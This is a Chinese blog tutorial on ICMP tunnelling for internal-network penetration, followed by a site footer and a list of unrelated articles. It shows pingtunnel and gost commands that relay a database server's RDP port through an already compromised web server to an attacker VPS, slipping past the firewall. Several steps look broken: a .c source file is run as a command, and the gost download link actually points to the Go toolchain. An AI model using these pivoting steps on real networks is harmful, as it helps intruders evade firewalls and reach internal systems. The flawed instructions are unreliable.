内网渗透之icmp隧道传输

原理

# 为什么要建立隧道
在实际的网络中,通常会通过各种边界设备·软/硬件防火墙、入侵检测系统来检查对外连接的情况,如果发现异常,会对通信进行阻断。
​
# 什么是隧道
就是一种绕过端口屏蔽的方式,防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方通信,当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上
​
#常见的隧道列举如下:
网络层:ipv6隧道 icmp隧道 gre隧道
传输层:TCP隧道 UDP隧道 常规端口转发
应用层:SSH隧道 HTTP隧道 HTTPS隧道 DNS隧道

验证过程

icmp隧道适用情况

当目标主机未开启任何端口,但是可以接受ping,被控主机能够ping通对方时(并且防火墙不会阻拦icmp协议,不会阻挡ping命令在防火墙上通行)

icmp隧道搭建可用工具

icmpsh、 pingtunnel、icmptunnel、powershell icmp

环境配置(以pingtunnel为例)

# 场景举例
web服务器被控,但是vps与web服务器通信时,中间有防火墙拦截。web服务器无法访问数据库服务器,但是可以ping通,现在打算通过web服务器访问数据库服务器的3389端口,并且转发到vps的1080端口上,拓扑图如下所示。
​
1.在web服务器(windows系统)下载pingtunnel以及winpcap(用于编译pingtunnel)
2,web服务器端开启隧道
3,vps(linux系统)下载pingtunnel的tar.gz文件以及libpacap(函数库)
4,web服务器将数据库服务器的3389端口封装在icmp隧道,并且传送到vps的端口,访问vps的端口时就相当于访问数据库服务器的3389端口

  • pingtunnel下载地址

https://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
  • windows安装pingtunnel

下载tar.gz包之后,打开目录会看到如图下的.c文件,这个文件需要利用winpcap编译

  • 下载winpcap

https://www.winpcap.org/install/bin/WinPcap_4_1_3.exe

  • 将ptunnel右击运行方式为rpcapad.exe,在ptunnel文件位置运行cmd命令

ptunnel.c -x she  //-x 指定隧道连接的验证密码

  • vps执行以下命令,在访问vps的1080端口时,会把数据库服务器的3389端口的数据封装在icmp隧道里,以web服务器为跳板进行传送

ptunnel -p vps的ip地址 -lp 1080 -da 数据库服务器ip -dp 3389 -x she //she为隧道密码,要和被控机器的隧道密码一致 -lp:指定要监听的本地tcp端口
-da:指定目标主机的ip地址
-dp:指定被控机器的tcp端口

出现以上截屏说明隧道建立成功,接下来连接这台主机的1080端口,即可访问数据库服务器的3389端口。

gost工具使用

工具安装
linux版
  • 下载地址

https://dl.google.com/go/go1.23.0.linux-amd64.tar.gz
  • 解压文件

tar -xzf go1.23.0.linux-amd64.tar.gz
  • 来到目录gost/gost-master/cmd/gost,执行go build进行编译生成可执行文件

windows版
  • 下载链接

https://codeload.github.com/go-gost/gost/zip/refs/heads/master
  • 编译gost

来到下载的文件目录 \gost\gost-master\cmd\gost
在上面的目录位置运行cmd命令,并且执行go build编译

  • 编译后会生成一个gost.exe文件

隧道搭建
  • 服务器端

./gost -L relay+icmp://:0

  • 客户端

gost.exe -L :8080 -F "relay+icmp://server_ip:12345?keepalive=true&ttl=10s"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/403126.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

算法刷题记录 八十五【图论的广度优先搜索理论基础】

前言 图论章节第2篇。 第1篇:记录 八十二【图论理论基础及深度优先搜索算法】; 本文:记录 八十五【图论的广度优先搜索理论基础】 一、广度优先搜索理论基础 广度优先搜索理论基础 参考链接 1.1 知识点框架 1.2 模拟广度搜索的过程 在有向…

YOLT论文精读

引言 很早之前,在本校老师的带领下接触到了目标检测领域。在卫星遥感图像方面有一篇经典的论文《You Only Look Twice: Rapid Multi-Scale Object Detection In Satellite Imagery》。科研小白一开始反复看了几遍也没弄懂,决定写博客来加深自己的理解。…

小米5c解除BL锁刷机root

版权归作者所有,如有转发,请注明文章出处:https://cyrus-studio.github.io/blog/ 解锁BL锁 1. 下载安装 miflash_unlock:https://miuiver.com/miunlock/,登录小米账号(需要和解锁设备绑定的账号一致&#…

进程第二部分

1.任务:子进程做的事情和父进程差不多(子承父业) 父进程创建出子进程之后,子进程做的事情与父进程完全不同(自力更生) 2.exec: int exec l(const char *path, const char *arg, ...); int exec v(const c…

指向派生类的基类指针、强转为 void* 再转为基类指针、此时调用虚函数会发生什么?

指向派生类的基类指针、强转为 void* 再转为基类指针、此时调用虚函数会发生什么? 1、无论指针类型怎么转,类对象内存没有发生任何变化,还是vfptr指向虚函数表,下面是成员变量,这在编译阶段就已经确定好了&#xff1b…

详解国内CRM产品

0. 结论先行 0.1 企业应该建设中台型CRM 0.1.1 CRM产品架构 CRM整个产品架构比较庞大,为了更好地支持所有的业务线,节省开发资源,应该建设一套中台型的CRM系统。 CRM业界常被分为5大模块去支持业务:营销、销售、服务、商务、合…

2024新型数字政府综合解决方案(六)

新型数字政府综合解决方案通过融合人工智能、大数据、区块链和云计算技术,构建了一个全方位智能化的政务平台,旨在提升政府服务的效率、透明度和公众参与度。该方案实现了跨部门的数据互联互通与实时更新,利用先进的数据分析和自动化处理技术…

使用python基于fastapi发布接口(一)

FastAPI官网地址 FastAPI基于Python 3.6+和Starlette框架,天生就带着高性能和异步的基因。 FastAPI的文档生成功能简直是开发者的福音! 你不再需要手动编写API文档,FastAPI能自动帮你搞定。 FastAPI还超级灵活,支持各种数据库和认证方式,无论是SQLite、PostgreSQL还是M…

keepalived讲解及练习

目录 1、keepalived介绍 1.1 keepalived简介 2、高可用集群 2.1 集群类型 2.2 系统可用性 2.3 系统故障 2.4 实现高可用 3、VRRP 3.1 VRRP:Virtual Router Redundancy Protocol 3.2 VRRP 相关术语 3.3 VRRP相关技术 4、 keepalived实验 4.1 全局配置 4…

计算机的错误计算(六十一)

摘要 解释计算机的错误计算(六十)中的错误计算原因。 计算机的错误计算(六十)中的计算可以归纳为 因此,我们只需要分析该算式。 例1. 已知 分析如何计算 首先,一个数乘以一个2,一般不会…

替代 SMR 算法!两步孟德尔随机化方法 TWMR 与 revTWMR 整合xQTL+GWAS数据分析基因表达与疾病的关联

全基因组关联研究(GWAS)是研究大型队列中基因型与表型关系的重要工具。GWAS的已知局限性主要在于从与致病变异相关的连锁不平衡区域中识别生物学机制,而无法直接获得基因层面的表型关联。为了解决这个问题,基于转录组关联研究&…

Python爬虫入门教程(非常详细)适合零基础小白

一、什么是爬虫? 1.简单介绍爬虫 爬虫的全称为网络爬虫,简称爬虫,别名有网络机器人,网络蜘蛛等等。 网络爬虫是一种自动获取网页内容的程序,为搜索引擎提供了重要的数据支撑。搜索引擎通过网络爬虫技术,将…

服务器数据恢复—IBM服务器raid5阵列硬盘出现坏道的数据恢复案例

服务器数据恢复环境&故障: 一台ibm x3850服务器,有一组由5块硬盘组建的raid5磁盘阵列,上层是Redhat Linux操作系统,部署了一个oracle数据库。 raid5阵列中2块硬盘离线,阵列崩溃。经过检测发现该raid中的热备盘未激…

NC 调整数组顺序使奇数位于偶数前面(一)

系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。 描述 输入一个长度…

Codeforces Round 966 (Div. 3)(A,B,C,D,E,F)

A. Primary Task 签到 void solve() {string s;cin>>s;bool bltrue;if(s.size()<2)blfalse;else{if(s.substr(0,2)"10"){if(s[2]0)blfalse;else if(s[2]1&&s.size()<3)blfalse; }else blfalse;}if(bl)cout<<"YES\n";else cout…

一套完整的NVR网络硬盘录像机解决方案和NVR程序源码介绍

随着网络技术的发展&#xff0c;视频数据存储的需求激增&#xff0c;促使硬盘录像机&#xff08;DVR&#xff09;逐渐演变为具备网络功能的网络视频录像机&#xff08;NVR&#xff09;。NVR&#xff0c;即网络视频录像机&#xff0c;负责网络视音频信号的接入、存储、转发、解码…

答题情况和每题得分

文章目录 1.提交答题情况1.PracticeDetailController.java2.PracticeDetailService.java3.PracticeDetailServiceImpl.java4.PracticeDetailDao.java5.PracticeDetailDao.xml6.reqSubmitSubjectDetailReq.java 7.dto1.SubjectDetailDTO.java2.SubjectDTO.java3.SubjectOptionDT…

<C语言>指针的深度学习

目录 一、字符指针 二、指针数组 三、数组指针 1.数组指针的定义 2.&数组名与数组名 3.数组指针的使用 四、数组参数、指针参数 1.一维数组传参 2.二维数组传参 3.一级指针传参 4.二级指针传参 五、函数指针 六、函数指针数组 七、指向函数指针数组的指针 八、回调函数 1…

HCIP-HarmonyOS Application Developer 习题(三)

1、在JS(JavaScript)Ul框架中&#xff0c;完成对平台层进行抽象&#xff0c;提供抽象接口&#xff0c;对接到系统平台的是哪一层? A. 应用层 B. 前端框架层 C. 引擎层 D. 平台适配层 答案&#xff1a;D 分析&#xff1a;适配层主要完成对平台层进行抽象&#xff0c;提供抽象接…

iOS更新后在IPhone上恢复丢失的文本消息的4种方法

您是否在更新 iPhone 软件后丢失了重要的短信&#xff1f;丢失数据可能会令人沮丧&#xff0c;尤其是当它包含有价值的信息或感性信息时。幸运的是&#xff0c;有一些方法可以在iOS更新后恢复iPhone上丢失的短信。 在这篇博文中&#xff0c;我们将讨论可用于恢复丢失的短信的不…